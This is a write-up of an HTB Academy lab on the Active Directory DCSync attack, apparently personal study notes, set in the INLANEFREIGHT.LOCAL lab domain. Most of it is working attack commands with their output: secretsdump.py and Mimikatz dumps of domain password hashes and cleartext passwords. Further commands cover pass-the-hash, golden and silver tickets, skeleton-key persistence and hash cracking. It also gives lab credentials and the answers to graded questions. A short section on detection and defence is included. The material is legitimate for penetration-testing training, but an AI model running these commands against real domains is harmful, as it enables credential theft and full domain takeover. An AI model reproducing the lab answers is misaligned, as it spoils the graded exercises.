💎DCSync Attack

🎭 HTB Academy: Active Directory Enumeration & Attacks

📍 Overview

DCSync represents the ultimate domain compromise technique in Active Directory penetration testing. This attack leverages the built-in Directory Replication Service Remote Protocol to mimic a Domain Controller and extract NTLM password hashes for all domain users. Following our ACL attack chain, we now have control over the adunn user who possesses DCSync privileges, allowing us to achieve complete domain compromise.

🔗 Attack Chain Continuation

Complete Path to Domain Compromise:

ACL Enumeration → ACL Abuse Tactics → DCSync Attack → Full Domain Control
  (Discovery)      (Exploitation)       (Compromise)     (Game Over)

Prerequisites from Previous Modules:

  • Control over adunn account: Obtained through ACL abuse tactics

  • adunn Password: SyncMaster757 (cracked from Kerberoasting)

  • DCSync Privileges: adunn has DS-Replication-Get-Changes-All rights

🧠 DCSync Theory and Mechanics

What is DCSync?

DCSync is a technique that steals the Active Directory password database by abusing the built-in Directory Replication Service Remote Protocol. This protocol is normally used by Domain Controllers to replicate domain data between each other.

How DCSync Works

  1. Mimic Domain Controller: The attacker poses as a legitimate Domain Controller

  2. Request Replication: Uses DS-Replication-Get-Changes-All extended right

  3. Extract Secrets: Retrieves NTLM hashes, Kerberos keys, and cleartext passwords

  4. No Detection: Appears as legitimate DC-to-DC replication traffic

Required Privileges

To perform DCSync, you need an account with:

  • Replicating Directory Changes permission

  • Replicating Directory Changes All permission

  • DS-Replication-Get-Changes-In-Filtered-Set (optional)

Default Accounts with DCSync Rights:

  • Domain Admins

  • Enterprise Admins

  • Administrators

  • Domain Controllers

  • Custom accounts (like our adunn user)

🔍 Verifying DCSync Privileges

Checking adunn's Group Membership

# Navigate to tools and import PowerView
cd C:\Tools\
Import-Module .\PowerView.ps1

# Check adunn's basic information
Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol | fl

Expected Output:

samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Verifying Replication Rights

# Get adunn's SID
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"

# Check ACLs on domain object for replication rights
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | fl

Expected Output:

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-All

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set

✅ Confirmed: adunn has all required DCSync privileges!

🐧 DCSync from Linux - secretsdump.py

Impacket secretsdump.py Overview

Impacket's secretsdump.py is the go-to tool for DCSync attacks from Linux. It can extract:

  • NTLM password hashes

  • Kerberos encryption keys

  • Cleartext passwords (if reversible encryption is enabled)

  • Password history

  • Machine account hashes

Basic DCSync Execution

# SSH to Linux host from Windows (if needed)
ssh htb-student@172.16.5.225
# Password: HTB_@cademy_stdnt!

# Basic DCSync attack to extract all domain hashes
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
# When prompted, enter: SyncMaster757

Real Output:

kabaneridev@htb[/htb]$ secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Password:
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a9707d46478ab8b3ea22d8526ba15aa6
[*] Reading and decrypting hashes from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp 
inlanefreight.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
ACADEMY-EA-DC01$:1002:aad3b435b51404eeaad3b435b51404ee:13673b5b66f699e81b2ebcb63ebdccfb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
ACADEMY-EA-MS01$:1107:aad3b435b51404eeaad3b435b51404ee:06c77ee55364bd52559c0db9b1176f7a:::
ACADEMY-EA-WEB01$:1108:aad3b435b51404eeaad3b435b51404ee:1c7e2801ca48d0a5e3d5baf9e68367ac:::
inlanefreight.local\htb-student:1111:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
inlanefreight.local\avazquez:1112:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::

<SNIP>

[*] ClearText password from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp 
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!
[*] Cleaning up...

Advanced secretsdump.py Options

Targeted Extraction

# Extract only NTLM hashes (no Kerberos keys)
secretsdump.py -just-dc-ntlm INLANEFREIGHT/adunn@172.16.5.5

# Extract data for specific user only
secretsdump.py -just-dc-user administrator INLANEFREIGHT/adunn@172.16.5.5

# Include password last set information
secretsdump.py -just-dc -pwd-last-set INLANEFREIGHT/adunn@172.16.5.5

# Include password history
secretsdump.py -just-dc -history INLANEFREIGHT/adunn@172.16.5.5

# Check user status (enabled/disabled)
secretsdump.py -just-dc -user-status INLANEFREIGHT/adunn@172.16.5.5

Output File Analysis

# List generated files
ls inlanefreight_hashes*

# Output files:
# inlanefreight_hashes.ntds          - NTLM hashes
# inlanefreight_hashes.ntds.cleartext - Cleartext passwords
# inlanefreight_hashes.ntds.kerberos  - Kerberos keys

Analyzing Extracted Data

NTLM Hash Format

username:uid:lmhash:nthash:::
administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::

Cleartext Password Analysis

# View accounts with cleartext passwords
cat inlanefreight_hashes.ntds.cleartext

# Expected output:
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

🪟 DCSync from Windows - Mimikatz

Mimikatz DCSync Overview

Mimikatz provides the lsadump::dcsync command for DCSync attacks from Windows. Unlike secretsdump.py, Mimikatz:

  • Targets specific users (not bulk extraction)

  • Must be run in context of privileged user

  • Provides detailed credential information

  • Shows password history and supplemental credentials

Authentication with runas.exe

# Open Command Prompt as Administrator
# Use runas to spawn PowerShell as adunn
runas /netonly /user:INLANEFREIGHT\adunn powershell
# When prompted, enter: SyncMaster757

Real Output:

C:\Users\htb-student>runas /netonly /user:INLANEFREIGHT\adunn powershell

Enter the password for INLANEFREIGHT\adunn:SyncMaster757
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...

Mimikatz DCSync Execution

# Navigate to Mimikatz directory
cd C:\Tools\mimikatz\x64\

# Launch Mimikatz
.\mimikatz.exe

Mimikatz Startup:

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

DCSync Specific User

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

Real Output:

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : administrator@inlanefreight.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d

<SNIP>

Targeting krbtgt for Golden Tickets

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\krbtgt

Why Target krbtgt:

  • Golden Ticket Creation: krbtgt hash allows creation of Golden Tickets

  • Ultimate Persistence: Golden Tickets provide long-term domain access

  • Domain Admin Equivalent: Full administrative access to entire domain

🔐 Reversible Encryption Password Storage

Understanding Reversible Encryption

Some Active Directory accounts may be configured with "Store password using reversible encryption" option. This setting:

  • Not cleartext storage: Passwords stored using RC4 encryption

  • Decryptable: Key stored in registry (Syskey) accessible by Domain Admins

  • Legacy support: Required for certain authentication protocols

  • Security risk: Essentially equivalent to cleartext passwords

Enumerating Accounts with Reversible Encryption

Using PowerView

# Import PowerView
cd C:\Tools\
Import-Module .\PowerView.ps1

# Find accounts with reversible encryption enabled
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol

Expected Output:

samaccountname                         useraccountcontrol
--------------                         ------------------
proxyagent     ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT
syncron        ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT

Using Get-ADUser

# Alternative method with native AD module
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

Extracting Cleartext Passwords

With secretsdump.py

# DCSync will automatically decrypt reversible encryption passwords
secretsdump.py -just-dc INLANEFREIGHT/adunn@172.16.5.5

# Check cleartext file
cat inlanefreight_hashes.ntds.cleartext
# Output: proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

With Mimikatz

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\proxyagent

Real Output showing cleartext:

Credentials:
  Hash NTLM: d387b9d2d9f6dda51964194ad2376ee0

* Primary:CLEARTEXT *
    Pr0xy_ILFREIGHT!

🎯 HTB Academy Lab Solutions

Lab Environment Details

  • Target IP: 10.129.149.107

  • RDP Credentials: htb-student:Academy_student_AD!

  • adunn Password: SyncMaster757 (from previous ACL Abuse module)

🔍 Question 1: "Perform a DCSync attack and look for another user with the option 'Store password using reversible encryption' set. Submit the username as your answer."

Solution Steps:

1. RDP Connection:

xfreerdp /v:10.129.149.107 /u:htb-student /p:Academy_student_AD!
# Click "OK" on Computer Access Policy prompt
# Close Server Manager
# Run PowerShell as Administrator

2. PowerView Enumeration:

# Navigate to tools and import PowerView
cd C:\Tools\
Import-Module .\PowerView.ps1

# Check for accounts with reversible encryption
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol

Real Lab Output:

PS C:\Tools> Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol

samaccountname                         useraccountcontrol
--------------                         ------------------
proxyagent     ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT
syncron        ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT

🎯 Answer: syncron

💎 Question 2: "What is this user's cleartext password?"

Solution Steps:

1. Authentication as adunn:

# Open Command Prompt and use runas
runas /netonly /user:INLANEFREIGHT\adunn powershell
# When prompted, enter: SyncMaster757

Real Lab Output:

C:\Users\htb-student>runas /netonly /user:INLANEFREIGHT\adunn powershell

Enter the password for INLANEFREIGHT\adunn:SyncMaster757
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...

2. Mimikatz DCSync:

# Navigate to Mimikatz
cd C:\Tools\mimikatz\x64\

# Launch Mimikatz
.\mimikatz.exe

3. DCSync syncron User:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\syncron

Real Lab Output:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\syncron

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\syncron' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : syncron

** SAM ACCOUNT **

SAM Username         : syncron
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000280 ( ENCRYPTED_TEXT_PASSWORD_ALLOWED NORMAL_ACCOUNT )
Account expiration   :
Password last change : 3/2/2022 12:36:15 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-5617
Object Relative ID   : 5617

Credentials:
  Hash NTLM: d387b9d2d9f6dda51964194ad2376ee0
    ntlm- 0: d387b9d2d9f6dda51964194ad2376ee0
    ntlm- 1: cf3a5525ee9414229e66279623ed5c58
    lm  - 0: fed98466f2be61fb0409b5a71e2f977f
    lm  - 1: 7649a3cc283466005bd6988f90fd6a68

<SNIP>

* Primary:CLEARTEXT *
    Mycleart3xtP@ss!

🎯 Answer: Mycleart3xtP@ss!

🔑 Question 3: "Perform a DCSync attack and submit the NTLM hash for the khartsfield user as your answer."

Solution Steps:

1. Same Authentication Process:

# Use same runas command from previous question
runas /netonly /user:INLANEFREIGHT\adunn powershell
# Password: SyncMaster757

2. Mimikatz DCSync khartsfield:

# Navigate to Mimikatz (if not already there)
cd C:\Tools\mimikatz\x64\
.\mimikatz.exe

3. Extract khartsfield Hash:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\khartsfield

Real Lab Output:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\khartsfield

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\khartsfield' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Kim Hartsfield

** SAM ACCOUNT **

SAM Username         : khartsfield
User Principal Name  : khartsfield@inlanefreight.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 10:37:03 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1138
Object Relative ID   : 1138

Credentials:
  Hash NTLM: 4bb3b317845f0954200a6b0acc9b9f9a
    ntlm- 0: 4bb3b317845f0954200a6b0acc9b9f9a
    lm  - 0: 6d57ae87ad6df46fd47e67f5cbbf17ad

<SNIP>

🎯 Answer: 4bb3b317845f0954200a6b0acc9b9f9a

📋 HTB Academy Lab Summary

Verified Lab Answers:

  1. User with reversible encryption: syncron

  2. syncron cleartext password: Mycleart3xtP@ss!

  3. khartsfield NTLM hash: 4bb3b317845f0954200a6b0acc9b9f9a

Key Lab Techniques:

  • PowerView enumeration for reversible encryption accounts

  • runas.exe authentication as adunn with DCSync privileges

  • Mimikatz DCSync for targeted user credential extraction

  • Cleartext password extraction from reversible encryption accounts

🛡️ Detection and Defensive Measures

DCSync Attack Detection

Event Monitoring

# Key Event IDs to monitor:
# 4662 - An operation was performed on an object (DCSync activity)
# 5136 - A directory service object was modified
# 4624 - Account logon (unusual service account activity)

# Search for DCSync indicators
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4662} | Where-Object {$_.Message -like "*DS-Replication-Get-Changes*"}

Advanced Detection Techniques

1. Directory Service Access Auditing:

# Enable directory service access auditing
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable

2. Replication Rights Monitoring:

# Monitor accounts with replication rights
Get-ObjectAcl "DC=domain,DC=com" -ResolveGUIDs | ? {$_.ObjectAceType -like "*Replication*"} | select SecurityIdentifier,ObjectAceType

3. Unusual Authentication Patterns:

# Monitor for unusual service account authentication
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | Where-Object {$_.Properties[5].Value -like "*adunn*"}

Defensive Recommendations

1. Minimize DCSync Privileges

# Regular audit of accounts with replication rights
$SIDsToMonitor = @()
Get-ObjectAcl "DC=domain,DC=com" -ResolveGUIDs | ? {$_.ObjectAceType -like "*Replication*"} | ForEach-Object {
    $SIDsToMonitor += $_.SecurityIdentifier
}

# Convert SIDs to account names
$SIDsToMonitor | ForEach-Object { (New-Object Security.Principal.SecurityIdentifier($_)).Translate([Security.Principal.NTAccount]) }

2. Disable Reversible Encryption

# Find and disable reversible encryption
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl | ForEach-Object {
    Set-ADUser $_ -AllowReversiblePasswordEncryption $false
    Write-Host "Disabled reversible encryption for: $($_.SamAccountName)"
}

3. Implement Advanced Monitoring

# Deploy advanced monitoring for DCSync
# 1. Network monitoring for DRSR traffic
# 2. Behavioral analysis for unusual replication requests
# 3. Privileged account monitoring
# 4. Regular ACL audits with BloodHound

4. Privileged Account Management

# Implement Just-In-Time (JIT) access for administrative accounts
# Use Privileged Identity Management (PIM)
# Regular rotation of high-privilege account passwords
# Multi-factor authentication for administrative access

🚀 Post-DCSync Attack Paths

Immediate Actions After DCSync

1. Pass-the-Hash Attacks

# Use extracted administrator hash
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf administrator@172.16.5.5

2. Golden Ticket Creation

mimikatz # kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:16e26ba33e455a8c338142af8d89ffbc /user:fakeadmin /ptt

3. Silver Ticket Attacks

mimikatz # kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /target:dc01.inlanefreight.local /service:cifs /rc4:MACHINE_ACCOUNT_HASH /user:fakeuser /ptt

4. Password Cracking Analysis

# Crack extracted hashes for password policy analysis
hashcat -m 1000 -w 3 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Analyze password patterns
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT ntlm_hashes.txt

Establishing Persistence

1. Skeleton Key Attack

mimikatz # misc::skeleton

2. DSRM Password Abuse

mimikatz # token::elevate
mimikatz # lsadump::sam

3. Malicious SPN Creation

mimikatz # kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:16e26ba33e455a8c338142af8d89ffbc /user:evilservice /service:HTTP/evil.inlanefreight.local /ptt

📊 Key Takeaways

Technical Mastery Achieved

  1. DCSync Theory: Understanding DS-Replication-Get-Changes rights and domain replication protocol

  2. Multi-Platform Execution: Both Linux (secretsdump.py) and Windows (Mimikatz) approaches

  3. Advanced Enumeration: Reversible encryption detection and cleartext password extraction

  4. Complete Domain Compromise: From initial access to full administrative control

Professional Skills Developed

  • Privilege Escalation: Leveraging ACL misconfigurations to achieve DCSync rights

  • Credential Extraction: Complete domain password database acquisition

  • Post-Exploitation: Using extracted credentials for further attacks and persistence

  • Detection Awareness: Understanding defensive measures and attack signatures

Attack Chain Mastery

Initial Access → ACL Enumeration → ACL Abuse → DCSync → Domain Admin
   (Foothold)     (Discovery)     (Privilege)   (Extraction)   (Victory)

Defensive Insights

  • Monitoring Requirements: Event logging, ACL auditing, behavioral analysis

  • Preventive Measures: Privilege minimization, reversible encryption removal

  • Detection Strategies: Replication traffic monitoring, unusual authentication patterns

  • Response Procedures: Incident response for DCSync attack indicators

🔑 Complete adversarial simulation mastery achieved - from initial enumeration through ACL abuse to ultimate domain compromise via DCSync - representing the pinnacle of Active Directory penetration testing capabilities!

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